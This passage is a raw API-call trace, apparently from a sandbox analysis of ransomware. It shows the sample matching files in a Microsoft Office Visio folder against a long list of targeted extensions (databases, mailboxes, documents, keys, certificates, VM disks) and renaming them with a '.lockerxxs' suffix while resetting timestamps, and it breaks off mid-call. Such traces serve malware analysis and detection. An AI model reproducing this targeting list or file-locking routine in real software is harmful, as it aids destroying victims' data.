nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502558 [0066.620] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0066.621] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0066.621] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0066.624] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0066.624] CloseHandle (hObject=0x90) returned 1 [0066.624] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\", lpString2="ACTDIR_M.VST" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST" [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.ems") returned 0 [0066.625] lstrlenA (lpString="*.ems") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.db") returned 0 [0066.625] lstrlenA (lpString="*.db") returned 4 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.dbf") returned 0 [0066.625] lstrlenA (lpString="*.dbf") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.myox") returned 0 [0066.625] lstrlenA (lpString="*.myox") returned 6 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.myo") returned 0 [0066.625] lstrlenA (lpString="*.myo") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbw") returned 0 [0066.625] lstrlenA (lpString="*.qbw") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbb") returned 0 [0066.625] lstrlenA (lpString="*.qbb") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbm") returned 0 [0066.625] lstrlenA (lpString="*.qbm") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbo") returned 0 [0066.625] lstrlenA (lpString="*.qbo") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbx") returned 0 [0066.625] lstrlenA (lpString="*.qbx") returned 5 [0066.625] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qba") returned 0 [0066.625] lstrlenA (lpString="*.qba") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qby") returned 0 [0066.626] lstrlenA (lpString="*.qby") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qbj") returned 0 [0066.626] lstrlenA (lpString="*.qbj") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.ofx") returned 0 [0066.626] lstrlenA (lpString="*.ofx") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.qif") returned 0 [0066.626] lstrlenA (lpString="*.qif") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mye") returned 0 [0066.626] lstrlenA (lpString="*.mye") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mbox") returned 0 [0066.626] lstrlenA (lpString="*.mbox") returned 6 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.eml") returned 0 [0066.626] lstrlenA (lpString="*.eml") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.pst") returned 0 [0066.626] lstrlenA (lpString="*.pst") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.ost") returned 0 [0066.626] lstrlenA (lpString="*.ost") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.idx") returned 0 [0066.626] lstrlenA (lpString="*.idx") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.dbx") returned 0 [0066.626] lstrlenA (lpString="*.dbx") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.sql") returned 0 [0066.626] lstrlenA (lpString="*.sql") returned 5 [0066.626] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mdb") returned 0 [0066.627] lstrlenA (lpString="*.mdb") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.fdb") returned 0 [0066.627] lstrlenA (lpString="*.fdb") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.wab") returned 0 [0066.627] lstrlenA (lpString="*.wab") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.dat") returned 0 [0066.627] lstrlenA (lpString="*.dat") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.txt") returned 0 [0066.627] lstrlenA (lpString="*.txt") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.jpeg") returned 0 [0066.627] lstrlenA (lpString="*.jpeg") returned 6 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.jpg") returned 0 [0066.627] lstrlenA (lpString="*.jpg") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.png") returned 0 [0066.627] lstrlenA (lpString="*.png") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.php") returned 0 [0066.627] lstrlenA (lpString="*.php") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.cs") returned 0 [0066.627] lstrlenA (lpString="*.cs") returned 4 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.cpp") returned 0 [0066.627] lstrlenA (lpString="*.cpp") returned 5 [0066.627] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.rar") returned 0 [0066.628] lstrlenA (lpString="*.rar") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.zip") returned 0 [0066.628] lstrlenA (lpString="*.zip") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.html") returned 0 [0066.628] lstrlenA (lpString="*.html") returned 6 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.htm") returned 0 [0066.628] lstrlenA (lpString="*.htm") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.xlsx") returned 0 [0066.628] lstrlenA (lpString="*.xlsx") returned 6 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.xls") returned 0 [0066.628] lstrlenA (lpString="*.xls") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mp4") returned 0 [0066.628] lstrlenA (lpString="*.mp4") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.ppt") returned 0 [0066.628] lstrlenA (lpString="*.ppt") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.pptx") returned 0 [0066.628] lstrlenA (lpString="*.pptx") returned 6 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.doc") returned 0 [0066.628] lstrlenA (lpString="*.doc") returned 5 [0066.628] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.dot") returned 0 [0066.629] lstrlenA (lpString="*.dot") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.docx") returned 0 [0066.629] lstrlenA (lpString="*.docx") returned 6 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.7z") returned 0 [0066.629] lstrlenA (lpString="*.7z") returned 4 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.tar") returned 0 [0066.629] lstrlenA (lpString="*.tar") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.bz2") returned 0 [0066.629] lstrlenA (lpString="*.bz2") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.gz") returned 0 [0066.629] lstrlenA (lpString="*.gz") returned 4 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mkv") returned 0 [0066.629] lstrlenA (lpString="*.mkv") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.eml") returned 0 [0066.629] lstrlenA (lpString="*.eml") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.msg") returned 0 [0066.629] lstrlenA (lpString="*.msg") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.edb") returned 0 [0066.629] lstrlenA (lpString="*.edb") returned 5 [0066.629] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.accdb") returned 0 [0066.629] lstrlenA (lpString="*.accdb") returned 7 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.odb") returned 0 [0066.630] lstrlenA (lpString="*.odb") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.java") returned 0 [0066.630] lstrlenA (lpString="*.java") returned 6 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.asm") returned 0 [0066.630] lstrlenA (lpString="*.asm") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.pfx") returned 0 [0066.630] lstrlenA (lpString="*.pfx") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.pem") returned 0 [0066.630] lstrlenA (lpString="*.pem") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.p12") returned 0 [0066.630] lstrlenA (lpString="*.p12") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.gpg") returned 0 [0066.630] lstrlenA (lpString="*.gpg") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.vsd") returned 0 [0066.630] lstrlenA (lpString="*.vsd") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.odg") returned 0 [0066.630] lstrlenA (lpString="*.odg") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.raw") returned 0 [0066.630] lstrlenA (lpString="*.raw") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.nef") returned 0 [0066.630] lstrlenA (lpString="*.nef") returned 5 [0066.630] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.svg") returned 0 [0066.630] lstrlenA (lpString="*.svg") returned 5 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.psd") returned 0 [0066.631] lstrlenA (lpString="*.psd") returned 5 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.vmx") returned 0 [0066.631] lstrlenA (lpString="*.vmx") returned 5 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.vmdk") returned 0 [0066.631] lstrlenA (lpString="*.vmdk") returned 6 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.vdi") returned 0 [0066.631] lstrlenA (lpString="*.vdi") returned 5 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.lay6") returned 0 [0066.631] lstrlenA (lpString="*.lay6") returned 6 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mpeg") returned 0 [0066.631] lstrlenA (lpString="*.mpeg") returned 6 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.djvu") returned 0 [0066.631] lstrlenA (lpString="*.djvu") returned 6 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.tiff") returned 0 [0066.631] lstrlenA (lpString="*.tiff") returned 6 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.backup") returned 0 [0066.631] lstrlenA (lpString="*.backup") returned 8 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.pdf") returned 0 [0066.631] lstrlenA (lpString="*.pdf") returned 5 [0066.631] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.cert") returned 0 [0066.632] lstrlenA (lpString="*.cert") returned 6 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.docm") returned 0 [0066.632] lstrlenA (lpString="*.docm") returned 6 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.xlsm") returned 0 [0066.632] lstrlenA (lpString="*.xlsm") returned 6 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.dwg") returned 0 [0066.632] lstrlenA (lpString="*.dwg") returned 5 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.nd") returned 0 [0066.632] lstrlenA (lpString="*.nd") returned 4 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.tlg") returned 0 [0066.632] lstrlenA (lpString="*.tlg") returned 5 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.lgb") returned 0 [0066.632] lstrlenA (lpString="*.lgb") returned 5 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mov") returned 0 [0066.632] lstrlenA (lpString="*.mov") returned 5 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.xdw") returned 0 [0066.632] lstrlenA (lpString="*.xdw") returned 5 [0066.632] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.ods") returned 0 [0066.632] lstrlenA (lpString="*.ods") returned 5 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.wav") returned 0 [0066.633] lstrlenA (lpString="*.wav") returned 5 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.mp3") returned 0 [0066.633] lstrlenA (lpString="*.mp3") returned 5 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.aiff") returned 0 [0066.633] lstrlenA (lpString="*.aiff") returned 6 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.flac") returned 0 [0066.633] lstrlenA (lpString="*.flac") returned 6 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.m4a") returned 0 [0066.633] lstrlenA (lpString="*.m4a") returned 5 [0066.633] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST", pszSpec="*.csv") returned 0 [0066.633] lstrlenA (lpString="*.csv") returned 5 [0066.637] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.637] CloseHandle (hObject=0x90) returned 1 [0066.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls.lockerxxs")) returned 1 [0066.655] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.655] CloseHandle (hObject=0x90) returned 1 [0066.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.DWG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.dwg.lockerxxs")) returned 1 [0066.660] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.660] CloseHandle (hObject=0x90) returned 1 [0066.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLDGPLAN.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bldgplan.jpg.lockerxxs")) returned 1 [0066.667] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.667] CloseHandle (hObject=0x90) returned 1 [0066.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_M.VSD.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_m.vsd.lockerxxs")) returned 1 [0066.672] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.672] CloseHandle (hObject=0x90) returned 1 [0066.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLNKDG_U.VSD.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blnkdg_u.vsd.lockerxxs")) returned 1 [0066.678] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.678] CloseHandle (hObject=0x90) returned 1 [0066.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BLOCKS.DWG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\blocks.dwg.lockerxxs")) returned 1 [0066.744] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.744] CloseHandle (hObject=0x90) returned 1 [0066.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.TXT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.txt.lockerxxs")) returned 1 [0066.749] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.749] CloseHandle (hObject=0x90) returned 1 [0066.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ORGDATA.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\orgdata.xls.lockerxxs")) returned 1 [0066.761] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.761] CloseHandle (hObject=0x90) returned 1 [0066.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp.xls.lockerxxs")) returned 1 [0066.767] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.767] CloseHandle (hObject=0x90) returned 1 [0066.767] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRJMGT.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prjmgt.xls.lockerxxs")) returned 1 [0066.774] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.774] CloseHandle (hObject=0x90) returned 1 [0066.775] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PROJTL.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\projtl.xls.lockerxxs")) returned 1 [0066.783] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.784] CloseHandle (hObject=0x90) returned 1 [0066.784] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SALSUM.XLS.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\salsum.xls.lockerxxs")) returned 1 [0066.796] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.797] CloseHandle (hObject=0x90) returned 1 [0066.797] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\UMLDG_M.VSD" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\umldg_m.vsd"), 